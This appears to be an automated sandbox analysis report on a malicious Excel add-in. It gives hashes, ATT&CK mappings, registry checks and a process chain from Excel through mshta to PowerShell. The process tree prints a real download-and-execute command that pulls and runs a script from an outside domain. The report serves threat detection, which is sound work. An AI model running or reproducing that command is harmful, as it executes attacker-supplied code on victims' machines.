a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
22-05-2024 22:12

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General

Target

a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll
Size

12KB
MD5

cdcce6a8de8c0a870fc158f653c55504
SHA1

8598e60cfbdf1cf4bf4f5f8107d67f1406fd405f
SHA256

a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013
SHA512

1f0b7f5dcc8ef3f078e5722301df4ad2ca4b4e49e589bdfc930d1f62a5dff5762563e4bcfbb69fd08efef45864e938e949a41629bf1a82006548421f692341f7
SSDEEP

192:rL29RBzDzeobchBj8JONpON4IXurulrEPEjr7Ahu:X29jnbcvYJOyKIXqulvr7Cu

Score

10^/10

execution

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	852	1500	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

22 2072 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

1500 EXCEL.EXE
1500 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2072 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
22	2072	powershell.exe

pid	process
1500	EXCEL.EXE
1500	EXCEL.EXE

pid	process
2072	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1500 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2072 powershell.exe
2072 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2072 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1500 EXCEL.EXE
1500 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE
1500 EXCEL.EXE

pid	process
1500	EXCEL.EXE

pid	process
2072	powershell.exe
2072	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2072	powershell.exe

pid	process
1500	EXCEL.EXE
1500	EXCEL.EXE

pid	process
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE
1500	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 1500 wrote to memory of 852	1500	EXCEL.EXE	mshta.exe
PID 1500 wrote to memory of 852	1500	EXCEL.EXE	mshta.exe
PID 1500 wrote to memory of 852	1500	EXCEL.EXE	mshta.exe
PID 852 wrote to memory of 2072	852	mshta.exe	powershell.exe
PID 852 wrote to memory of 2072	852	mshta.exe	powershell.exe
PID 852 wrote to memory of 2072	852	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:852
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\3FR0UY0O\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vvwztytp.drn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013.xll

Filesize
12KB

MD5
cdcce6a8de8c0a870fc158f653c55504

SHA1
8598e60cfbdf1cf4bf4f5f8107d67f1406fd405f

SHA256
a9c21bfee2e45a4884acbd2cd71200a0bc9ee6d8fc1cc371fb55c79767f00013

SHA512
1f0b7f5dcc8ef3f078e5722301df4ad2ca4b4e49e589bdfc930d1f62a5dff5762563e4bcfbb69fd08efef45864e938e949a41629bf1a82006548421f692341f7

Download Submit
memory/1500-14-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-7-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-6-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-22-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-5-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-9-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-10-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-8-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-0-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-15-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-11-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-13-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-12-0x00007FF804A30000-0x00007FF804A40000-memory.dmp

Filesize
64KB

Download
memory/1500-16-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-17-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-20-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-18-0x00007FF804A30000-0x00007FF804A40000-memory.dmp

Filesize
64KB

Download
memory/1500-21-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-25-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-24-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-88-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-1-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-19-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-4-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-2-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-90-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-23-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-89-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-87-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-86-0x00007FF807250000-0x00007FF807260000-memory.dmp

Filesize
64KB

Download
memory/1500-3-0x00007FF847263000-0x00007FF847264000-memory.dmp

Filesize
4KB

Download
memory/1500-70-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/1500-69-0x00007FF8471C0000-0x00007FF8473C9000-memory.dmp

Filesize
2.0MB

Download
memory/2072-60-0x0000000006900000-0x000000000694C000-memory.dmp

Filesize
304KB

Download
memory/2072-61-0x0000000007F50000-0x00000000085CA000-memory.dmp

Filesize
6.5MB

Download
memory/2072-62-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

Filesize
104KB

Download
memory/2072-59-0x00000000068D0000-0x00000000068EE000-memory.dmp

Filesize
120KB

Download
memory/2072-58-0x0000000006400000-0x0000000006757000-memory.dmp

Filesize
3.3MB

Download
memory/2072-49-0x0000000006390000-0x00000000063F6000-memory.dmp

Filesize
408KB

Download
memory/2072-48-0x0000000005BE0000-0x0000000005C46000-memory.dmp

Filesize
408KB

Download
memory/2072-47-0x0000000005A40000-0x0000000005A62000-memory.dmp

Filesize
136KB

Download
memory/2072-46-0x0000000005C60000-0x000000000628A000-memory.dmp

Filesize
6.2MB

Download
memory/2072-45-0x0000000003420000-0x0000000003456000-memory.dmp

Filesize
216KB

Download